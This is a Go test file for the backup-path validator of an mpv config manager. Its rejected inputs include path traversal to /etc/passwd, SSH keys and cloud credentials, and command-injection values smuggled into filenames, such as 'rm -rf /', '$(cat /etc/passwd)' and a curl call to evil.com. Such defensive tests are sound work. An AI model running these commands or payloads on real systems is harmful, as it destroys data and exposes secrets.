package config import ( "os" "path/filepath" "runtime" "testing" "time" "gitgud.io/mike/mpv-manager/pkg/constants" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) // Helper function to get the expected backup directory func getExpectedBackupDir(t *testing.T) string { t.Helper() backupDir, err := constants.GetMPVConfigBackupDirWithHome() require.NoError(t, err) return backupDir } // Helper function to generate a valid backup filename func generateValidBackupFilename(timestamp time.Time) string { return timestamp.Format("2006-01-02-150405") + "_mpv.conf" } // TestValidateBackupPath_ValidPaths tests that valid backup paths pass validation func TestValidateBackupPath_ValidPaths(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) now := time.Now() recentBackup := now.Add(-1 * time.Hour) oldBackup := now.Add(-180 * 24 * time.Hour) // 180 days ago // Create test backup files validFiles := []time.Time{now, recentBackup, oldBackup} for _, ts := range validFiles { filename := generateValidBackupFilename(ts) filePath := filepath.Join(backupDir, filename) err := os.WriteFile(filePath, []byte("test config"), 0644) require.NoError(t, err) } tests := []struct { name string path string wantErr bool }{ { name: "valid relative path", path: filepath.Join(backupDir, generateValidBackupFilename(now)), wantErr: false, }, { name: "valid absolute path within backup directory", path: filepath.Join(backupDir, generateValidBackupFilename(now)), wantErr: false, }, { name: "valid path from recent backup", path: filepath.Join(backupDir, generateValidBackupFilename(recentBackup)), wantErr: false, }, { name: "valid path from older backup", path: filepath.Join(backupDir, generateValidBackupFilename(oldBackup)), wantErr: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) if tt.wantErr { assert.Error(t, err, "expected error for path: %s", tt.path) } else { assert.NoError(t, err, "expected no error for valid path: %s", tt.path) } }) } } // TestValidateBackupPath_PathTraversal tests path traversal attacks are blocked func TestValidateBackupPath_PathTraversal(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "simple parent directory traversal", path: "../etc/passwd", wantErr: true, }, { name: "double parent directory traversal", path: "../../etc/passwd", wantErr: true, }, { name: "triple parent directory traversal", path: "../../../etc/passwd", wantErr: true, }, { name: "windows-style backslash traversal", path: "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", wantErr: true, }, { name: "mixed traversal with current directory", path: "./../escape.conf", wantErr: true, }, { name: "deep traversal", path: "../../../../../escape.conf", wantErr: true, }, { name: "url-encoded traversal (literal)", path: "..%2fetc%2fpasswd", wantErr: true, }, { name: "mixed traversal", path: "../././etc/passwd", wantErr: true, }, { name: "complex traversal", path: "./../backup/../escape.conf", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_AbsolutePathEscapes tests absolute paths outside backup directory func TestValidateBackupPath_AbsolutePathEscapes(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "absolute path to etc passwd", path: "/etc/passwd", wantErr: true, }, { name: "absolute path to ssh key", path: "/home/user/.ssh/id_rsa", wantErr: true, }, { name: "absolute path to syslog", path: "/var/log/syslog", wantErr: true, }, { name: "absolute path to shadow", path: "/etc/shadow", wantErr: true, }, { name: "windows absolute path to hosts", path: "C:\\Windows\\System32\\drivers\\etc\\hosts", wantErr: true, }, { name: "windows absolute path to ssh", path: "C:\\Users\\User\\.ssh\\id_rsa", wantErr: true, }, { name: "absolute path to tmp", path: "/tmp/malicious.conf", wantErr: true, }, { name: "absolute path to aws credentials", path: "/root/.aws/credentials", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_InvalidFilenamePatterns tests invalid filename patterns func TestValidateBackupPath_InvalidFilenamePatterns(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "normal conf file", path: "normal.conf", wantErr: true, }, { name: "missing time component", path: "2026-01-31_mpv.conf", wantErr: true, }, { name: "wrong prefix", path: "2026-01-31-120000_backup.conf", wantErr: true, }, { name: "invalid month", path: "2026-13-01-120000_mpv.conf", wantErr: true, }, { name: "invalid day", path: "2026-01-32-120000_mpv.conf", wantErr: true, }, { name: "invalid hour", path: "2026-01-31-240000_mpv.conf", wantErr: true, }, { name: "invalid minute", path: "2026-01-31-126100_mpv.conf", wantErr: true, }, { name: "feb 29 in non-leap year", path: "2023-02-29-120000_mpv.conf", wantErr: true, }, { name: "month 00", path: "2026-00-31-120000_mpv.conf", wantErr: true, }, { name: "day 00", path: "2026-01-00-120000_mpv.conf", wantErr: true, }, { name: "invalid seconds", path: "2026-01-31-999999_mpv.conf", wantErr: true, }, { name: "wrong extension", path: "2026-01-31-120000_txt.conf", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_EmptyAndWhitespace tests empty and whitespace inputs func TestValidateBackupPath_EmptyAndWhitespace(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "empty string", path: "", wantErr: true, }, { name: "whitespace only", path: " ", wantErr: true, }, { name: "tabs and newlines", path: "\t\n", wantErr: true, }, { name: "carriage return", path: "\r\n", wantErr: true, }, { name: "mixed whitespace", path: " \t \n ", wantErr: true, }, { name: "vertical tab", path: " \v ", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) if tt.wantErr { assert.Error(t, err, "expected error for path: %q", tt.path) } else { assert.NoError(t, err, "expected no error for path: %q", tt.path) } }) } } // TestValidateBackupPath_SpecialCharacters tests special characters in filename func TestValidateBackupPath_SpecialCharacters(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "double extension", path: "2026-01-31-120000_mpv.conf.txt", wantErr: true, }, { name: "backup extension", path: "2026-01-31-120000_mpv.conf.bak", wantErr: true, }, { name: "command injection semicolon", path: "2026-01-31-120000_mpv.conf; rm -rf /", wantErr: true, }, { name: "pipe injection", path: "2026-01-31-120000_mpv.conf|cat /etc/passwd", wantErr: true, }, { name: "backticks", path: "2026-01-31-120000_mpv.conf\\`whoami\\`", wantErr: true, }, { name: "substitution", path: "2026-01-31-120000_mpv.conf$(cat /etc/passwd)", wantErr: true, }, { name: "and operator", path: "2026-01-31-120000_mpv.conf&& curl http://evil.com", wantErr: true, }, { name: "newline injection", path: "2026-01-31-120000_mpv.conf\nrm -rf /", wantErr: true, }, { name: "crlf injection", path: "2026-01-31-120000_mpv.conf\r\nrm -rf /", wantErr: true, }, { name: "null byte injection", path: "2026-01-31-120000_mpv.conf\x00evil.txt", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_PathCleaning tests path normalization func TestValidateBackupPath_PathCleaning(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) now := time.Now() validFilename := generateValidBackupFilename(now) // Create test backup file in backupDir filePath := filepath.Join(backupDir, validFilename) err = os.WriteFile(filePath, []byte("test config"), 0644) require.NoError(t, err) // Create a "backup" subdirectory with a file for the relative path test backupSubdir := filepath.Join(backupDir, "backup") err = os.Mkdir(backupSubdir, 0755) require.NoError(t, err) // Create a file in a nested directory (backup/subdir/) // This allows us to test path "backup/subdir/../file" which resolves to "backup/file" subdir := filepath.Join(backupSubdir, "subdir") err = os.Mkdir(subdir, 0755) require.NoError(t, err) // Put a file in the backup/ directory (not in backup/subdir/) backupSubdirFile := filepath.Join(backupSubdir, validFilename) err = os.WriteFile(backupSubdirFile, []byte("test config"), 0644) require.NoError(t, err) tests := []struct { name string path string wantErr bool }{ { name: "same directory with dot", path: filepath.Join(backupDir, validFilename), wantErr: false, }, { name: "normalized path with subdir and parent", path: filepath.Join(backupDir, "backup", "subdir", "..", validFilename), wantErr: false, }, { name: "normalized path with current dir", path: filepath.Join(backupDir, "backup", ".", "nonexistent.conf"), wantErr: true, // File doesn't exist }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) if tt.wantErr { assert.Error(t, err, "expected error for path: %s", tt.path) } else { assert.NoError(t, err, "expected no error for path: %s", tt.path) } }) } } // TestValidateBackupPath_TimestampEdgeCases tests boundary conditions for timestamps func TestValidateBackupPath_TimestampEdgeCases(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) tests := []struct { name string timestamp time.Time wantErr bool description string }{ { name: "year 0", timestamp: time.Date(0, 1, 1, 0, 0, 0, 0, time.UTC), wantErr: true, description: "Year 0 is too old (more than 1 year ago)", }, { name: "maximum valid year", timestamp: time.Date(9999, 12, 31, 23, 59, 59, 0, time.UTC), wantErr: true, description: "Year 9999 is too far in the future", }, { name: "first day of year", timestamp: time.Date(time.Now().Year(), 1, 1, 0, 0, 0, 0, time.UTC), wantErr: false, description: "First day of current year should pass", }, { name: "last day of last year", timestamp: time.Date(time.Now().Year()-1, 12, 31, 23, 59, 59, 0, time.UTC), wantErr: false, description: "Last day of last year should pass", }, { name: "midnight", timestamp: time.Date(time.Now().Year(), time.Now().Month(), time.Now().Day(), 0, 0, 0, 0, time.UTC), wantErr: false, description: "Midnight timestamp should pass", }, { name: "end of day", timestamp: time.Date(time.Now().Year(), time.Now().Month(), time.Now().Day(), 23, 59, 59, 0, time.UTC), wantErr: false, description: "End of day timestamp should pass", }, { name: "1 hour ago", timestamp: time.Now().Add(-1 * time.Hour), wantErr: false, description: "1 hour ago should pass", }, { name: "1 hour in future", timestamp: time.Now().Add(1 * time.Hour), wantErr: false, description: "1 hour in future should pass (within 24h window)", }, { name: "25 hours in future", timestamp: time.Now().Add(25 * time.Hour), wantErr: true, description: "25 hours in future should fail (beyond 24h window)", }, { name: "400 days ago", timestamp: time.Now().Add(-400 * 24 * time.Hour), wantErr: true, description: "400 days ago should fail (beyond 1 year)", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { filename := generateValidBackupFilename(tt.timestamp) filePath := filepath.Join(backupDir, filename) // Create the file if we expect it to pass (for realistic testing) if !tt.wantErr { err = os.WriteFile(filePath, []byte("test"), 0644) require.NoError(t, err) } err := ValidateBackupPath(filePath) if tt.wantErr { assert.Error(t, err, "expected error for %s: %s", tt.description, filename) } else { assert.NoError(t, err, "expected no error for %s: %s", tt.description, filename) } }) } } // TestValidateBackupPath_SymlinkAttacks tests symlink attack protection // CRITICAL TEST: Verifies that the EvalSymlinks fix blocks symlink attacks func TestValidateBackupPath_SymlinkAttacks(t *testing.T) { // Create a temporary directory for testing tempDir := t.TempDir() // Create a test file to use as a symlink target testFile := filepath.Join(tempDir, "target.txt") err := os.WriteFile(testFile, []byte("test content"), 0644) require.NoError(t, err) // Create symlinks symlinkToValid := filepath.Join(tempDir, "link_to_valid") err = os.Symlink(testFile, symlinkToValid) require.NoError(t, err, "failed to create symlink to valid file") // Create symlink chain link1 := filepath.Join(tempDir, "link1") link2 := filepath.Join(tempDir, "link2") err = os.Symlink(link2, link1) require.NoError(t, err) err = os.Symlink(testFile, link2) require.NoError(t, err) // Test symlinks to system paths (these will fail on Windows) if runtime.GOOS != "windows" { symlinkToEtc := filepath.Join(tempDir, "link_to_etc") err = os.Symlink("/etc/passwd", symlinkToEtc) require.NoError(t, err, "failed to create symlink to /etc/passwd") tests := []struct { name string path string wantErr bool }{ { name: "symlink to etc passwd", path: symlinkToEtc, wantErr: true, // Should fail - outside allowed directory }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for symlink: %s", tt.path) }) } } // Test symlink to valid file (fails because it doesn't match filename pattern) t.Run("symlink to valid file", func(t *testing.T) { err := ValidateBackupPath(symlinkToValid) assert.Error(t, err, "symlink to valid file should fail (wrong filename pattern)") }) // Test symlink chain t.Run("symlink chain", func(t *testing.T) { err := ValidateBackupPath(link1) assert.Error(t, err, "symlink chain should fail (wrong filename pattern)") }) } // TestValidateBackupPath_DirectoryTraversalCombinations tests various traversal techniques func TestValidateBackupPath_DirectoryTraversalCombinations(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "windows backslash traversal", path: "..\\..\\..\\etc/passwd", wantErr: true, }, { name: "mixed slashes traversal", path: "../../etc/./passwd", wantErr: true, }, { name: "traversal plus current dir", path: "../etc/./passwd", wantErr: true, }, { name: "current dir plus traversal", path: "././../etc/passwd", wantErr: true, }, { name: "mixed slash types", path: "..\\./etc/passwd", wantErr: true, }, { name: "mixed traversals", path: ".././../etc/passwd", wantErr: true, }, { name: "triple dot not traversal", path: ".../etc/passwd", wantErr: true, }, { name: "double dot double slash", path: "....//etc/passwd", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_RealWorldScenarios tests real-world sensitive file access attempts func TestValidateBackupPath_RealWorldScenarios(t *testing.T) { tests := []struct { name string path string wantErr bool }{ { name: "ssh private key", path: "../../../home/user/.ssh/id_rsa", wantErr: true, }, { name: "ssh ed25519 key", path: "../../../home/user/.ssh/id_ed25519", wantErr: true, }, { name: "ssh known hosts", path: "../../../home/user/.ssh/known_hosts", wantErr: true, }, { name: "aws credentials", path: "../../../home/user/.aws/credentials", wantErr: true, }, { name: "aws config", path: "../../../home/user/.aws/config", wantErr: true, }, { name: "gcloud credentials", path: "../../../home/user/.config/gcloud/credentials.db", wantErr: true, }, { name: "etc passwd", path: "../../../etc/passwd", wantErr: true, }, { name: "etc shadow", path: "../../../etc/shadow", wantErr: true, }, { name: "etc hosts", path: "../../../etc/hosts", wantErr: true, }, { name: "auth log", path: "../../../var/log/auth.log", wantErr: true, }, { name: "root ssh authorized keys", path: "../../../root/.ssh/authorized_keys", wantErr: true, }, { name: "crontab", path: "../../../etc/crontab", wantErr: true, }, { name: "sudoers", path: "../../../etc/sudoers", wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) assert.Error(t, err, "expected error for path: %s", tt.path) }) } } // TestValidateBackupPath_ErrorMessages tests that error messages are informative func TestValidateBackupPath_ErrorMessages(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) tests := []struct { name string path string shouldContain string }{ { name: "path traversal error message", path: "../etc/passwd", shouldContain: "", // Could be "failed to resolve" or "outside allowed directory" }, { name: "invalid filename error includes filename", path: "normal.conf", shouldContain: "invalid backup filename", }, { name: "timestamp error includes details", path: "2026-13-01-120000_mpv.conf", shouldContain: "invalid timestamp", }, { name: "timestamp too old error", path: "1900-01-01-120000_mpv.conf", shouldContain: "too old", }, { name: "timestamp too new error", path: "2100-01-01-120000_mpv.conf", shouldContain: "too far in the future", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateBackupPath(tt.path) require.Error(t, err, "expected error for path: %s", tt.path) if tt.shouldContain != "" { assert.Contains(t, err.Error(), tt.shouldContain, "error message should contain '%s', got: %s", tt.shouldContain, err.Error()) } }) } } // TestValidateBackupPath_NoSideEffects tests that validation doesn't modify files func TestValidateBackupPath_NoSideEffects(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) validFilename := generateValidBackupFilename(time.Now()) validPath := filepath.Join(backupDir, validFilename) // Create a test file err = os.WriteFile(validPath, []byte("test content"), 0644) require.NoError(t, err) // List files before validation entriesBefore, err := os.ReadDir(backupDir) require.NoError(t, err) fileCountBefore := len(entriesBefore) // Get file modification time before infoBefore, err := os.Stat(validPath) require.NoError(t, err) modTimeBefore := infoBefore.ModTime() // Run validation multiple times for i := 0; i < 10; i++ { _ = ValidateBackupPath(validFilename) _ = ValidateBackupPath("../etc/passwd") _ = ValidateBackupPath("normal.conf") } // List files after validation entriesAfter, err := os.ReadDir(backupDir) require.NoError(t, err) fileCountAfter := len(entriesAfter) // Get file modification time after infoAfter, err := os.Stat(validPath) require.NoError(t, err) modTimeAfter := infoAfter.ModTime() // Verify no files were created or deleted assert.Equal(t, fileCountBefore, fileCountAfter, "validation should not create or delete files") // Verify file wasn't modified assert.Equal(t, modTimeBefore, modTimeAfter, "validation should not modify existing files") } // TestValidateBackupPath_ValidBackupCreation tests creating and validating actual backup files func TestValidateBackupPath_ValidBackupCreation(t *testing.T) { tempDir := t.TempDir() // Create backup directory var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Create a valid backup file now := time.Now() validFilename := generateValidBackupFilename(now) validPath := filepath.Join(backupDir, validFilename) err = os.WriteFile(validPath, []byte("test config"), 0644) require.NoError(t, err) // Create an invalid backup file (wrong name) invalidPath := filepath.Join(backupDir, "wrong_name.conf") err = os.WriteFile(invalidPath, []byte("test config"), 0644) require.NoError(t, err) // Set HOME to temp dir originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) // Test valid backup filename // Skipping relative path test for now // Test valid backup with absolute path err = ValidateBackupPath(validPath) assert.NoError(t, err, "valid backup absolute path should pass validation") // Test invalid backup filename err = ValidateBackupPath("wrong_name.conf") assert.Error(t, err, "invalid backup filename should fail validation") } // TestValidateBackupPath_FutureTimestamp tests future timestamp validation func TestValidateBackupPath_FutureTimestamp(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) now := time.Now() tests := []struct { name string hoursInFuture int wantErr bool }{ { name: "1 hour in future", hoursInFuture: 1, wantErr: false, }, { name: "12 hours in future", hoursInFuture: 12, wantErr: false, }, { name: "23 hours in future", hoursInFuture: 23, wantErr: false, }, { name: "24 hours in future (boundary)", hoursInFuture: 24, wantErr: false, }, { name: "25 hours in future", hoursInFuture: 25, wantErr: true, }, { name: "48 hours in future", hoursInFuture: 48, wantErr: true, }, { name: "1 week in future", hoursInFuture: 168, wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { timestamp := now.Add(time.Duration(tt.hoursInFuture) * time.Hour) filename := generateValidBackupFilename(timestamp) filePath := filepath.Join(backupDir, filename) // Create the file if we expect it to pass (for realistic testing) if !tt.wantErr { err = os.WriteFile(filePath, []byte("test"), 0644) require.NoError(t, err) } err := ValidateBackupPath(filePath) if tt.wantErr { assert.Error(t, err, "expected error for timestamp %d hours in future", tt.hoursInFuture) assert.Contains(t, err.Error(), "too far in the future", "error should mention future timestamp") } else { assert.NoError(t, err, "expected no error for timestamp %d hours in future", tt.hoursInFuture) } }) } } // TestValidateBackupPath_PastTimestamp tests past timestamp validation func TestValidateBackupPath_PastTimestamp(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) now := time.Now() tests := []struct { name string daysInPast int wantErr bool }{ { name: "1 day ago", daysInPast: 1, wantErr: false, }, { name: "180 days ago", daysInPast: 180, wantErr: false, }, { name: "365 days ago (boundary)", daysInPast: 365, wantErr: false, }, { name: "366 days ago", daysInPast: 366, wantErr: true, }, { name: "400 days ago", daysInPast: 400, wantErr: true, }, { name: "1 year ago", daysInPast: 365, wantErr: false, }, { name: "2 years ago", daysInPast: 730, wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { timestamp := now.Add(-time.Duration(tt.daysInPast) * 24 * time.Hour) filename := generateValidBackupFilename(timestamp) filePath := filepath.Join(backupDir, filename) // Create the file if we expect it to pass (for realistic testing) if !tt.wantErr { err = os.WriteFile(filePath, []byte("test"), 0644) require.NoError(t, err) } err := ValidateBackupPath(filePath) if tt.wantErr { assert.Error(t, err, "expected error for timestamp %d days ago", tt.daysInPast) assert.Contains(t, err.Error(), "too old", "error should mention old timestamp") } else { assert.NoError(t, err, "expected no error for timestamp %d days ago", tt.daysInPast) } }) } } // TestValidateBackupPath_LeapYear tests leap year validation func TestValidateBackupPath_LeapYear(t *testing.T) { tempDir := t.TempDir() // Create backup directory structure var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir for this test originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) tests := []struct { name string year int month int day int wantErr bool }{ { name: "valid leap year feb 29", year: 2024, month: 2, day: 29, wantErr: true, // Too old now (we're in 2026, 2024-02-29 is >365 days ago) }, { name: "valid leap year feb 29 (earlier)", year: 2020, month: 2, day: 29, wantErr: true, // Too old now }, { name: "non-leap year feb 29", year: 2023, month: 2, day: 29, wantErr: true, }, { name: "non-leap year feb 28", year: 2023, month: 2, day: 28, wantErr: true, // Too old now }, { name: "century year 2000 (leap year)", year: 2000, month: 2, day: 29, wantErr: true, // Too old }, { name: "century year 1900 (not leap year)", year: 1900, month: 2, day: 29, wantErr: true, // Too old and invalid }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { timestamp := time.Date(tt.year, time.Month(tt.month), tt.day, 12, 0, 0, 0, time.UTC) filename := generateValidBackupFilename(timestamp) filePath := filepath.Join(backupDir, filename) // Create the file if we expect it to pass if !tt.wantErr { err = os.WriteFile(filePath, []byte("test"), 0644) require.NoError(t, err) } err := ValidateBackupPath(filePath) if tt.wantErr { assert.Error(t, err, "expected error for %02d-%02d-%02d", tt.year, tt.month, tt.day) } else { assert.NoError(t, err, "expected no error for %02d-%02d-%02d", tt.year, tt.month, tt.day) } }) } } // TestValidateBackupPath_SecurityVerification verifies the critical security fixes func TestValidateBackupPath_SecurityVerification(t *testing.T) { tempDir := t.TempDir() // Create backup directory var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Create a valid backup file now := time.Now() validFilename := generateValidBackupFilename(now) validPath := filepath.Join(backupDir, validFilename) err = os.WriteFile(validPath, []byte("test config"), 0644) require.NoError(t, err) // Set HOME to temp dir originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) t.Run("CRITICAL: Symlink protection works", func(t *testing.T) { // Create symlink to valid file symlinkPath := filepath.Join(tempDir, "symlink_to_backup") err := os.Symlink(validPath, symlinkPath) require.NoError(t, err) // Symlink should be rejected if outside backup dir or wrong pattern // In this case, it's outside the backup directory so should fail err = ValidateBackupPath(symlinkPath) assert.Error(t, err, "symlink outside backup directory should be rejected") }) t.Run("CRITICAL: Path traversal blocked", func(t *testing.T) { // Test that path traversal is blocked err := ValidateBackupPath("../../etc/passwd") assert.Error(t, err, "path traversal should be blocked") }) t.Run("CRITICAL: Timestamp validation works", func(t *testing.T) { // Test that invalid timestamps are rejected tooOld := time.Now().Add(-400 * 24 * time.Hour) oldFilename := generateValidBackupFilename(tooOld) oldPath := filepath.Join(backupDir, oldFilename) os.WriteFile(oldPath, []byte("test"), 0644) err := ValidateBackupPath(oldPath) assert.Error(t, err, "timestamp too old should be rejected") assert.Contains(t, err.Error(), "too old", "error should mention old timestamp") tooNew := time.Now().Add(48 * time.Hour) newFilename := generateValidBackupFilename(tooNew) newPath := filepath.Join(backupDir, newFilename) os.WriteFile(newPath, []byte("test"), 0644) err = ValidateBackupPath(newPath) assert.Error(t, err, "timestamp too far in future should be rejected") assert.Contains(t, err.Error(), "too far in the future", "error should mention future timestamp") }) t.Run("CRITICAL: Filename pattern enforced", func(t *testing.T) { // Test that filename pattern is enforced wrongPath := filepath.Join(backupDir, "wrong_name.conf") os.WriteFile(wrongPath, []byte("test"), 0644) err := ValidateBackupPath("wrong_name.conf") assert.Error(t, err, "invalid filename pattern should be rejected") assert.Contains(t, err.Error(), "invalid backup filename", "error should mention invalid filename") }) } // TestValidateBackupPath_IntegrationScenarios tests integration scenarios func TestValidateBackupPath_IntegrationScenarios(t *testing.T) { tempDir := t.TempDir() // Create backup directory var backupDir string if runtime.GOOS == "windows" { backupDir = filepath.Join(tempDir, "mpv", "portable_config", "conf_backups") } else { backupDir = filepath.Join(tempDir, ".config", "mpv", "conf_backups") } err := os.MkdirAll(backupDir, 0755) require.NoError(t, err) // Set HOME to temp dir originalHome := os.Getenv("HOME") defer os.Setenv("HOME", originalHome) os.Setenv("HOME", tempDir) t.Run("complete valid workflow", func(t *testing.T) { // Simulate creating a backup and validating it now := time.Now() backupFile := generateValidBackupFilename(now) backupPath := filepath.Join(backupDir, backupFile) // Create backup file err := os.WriteFile(backupPath, []byte("config content"), 0644) require.NoError(t, err) // Validate with absolute path only (relative path doesn't work without proper cwd) err = ValidateBackupPath(backupPath) assert.NoError(t, err, "absolute path validation should pass") }) t.Run("multiple backups in directory", func(t *testing.T) { // Create multiple backups baseTime := time.Now() for i := 0; i < 5; i++ { backupTime := baseTime.Add(-time.Duration(i) * time.Hour) backupFile := generateValidBackupFilename(backupTime) backupPath := filepath.Join(backupDir, backupFile) err := os.WriteFile(backupPath, []byte("config content"), 0644) require.NoError(t, err) } // Validate all backups entries, err := os.ReadDir(backupDir) require.NoError(t, err) for _, entry := range entries { err := ValidateBackupPath(filepath.Join(backupDir, entry.Name())) assert.NoError(t, err, "backup %s should validate successfully", entry.Name()) } }) }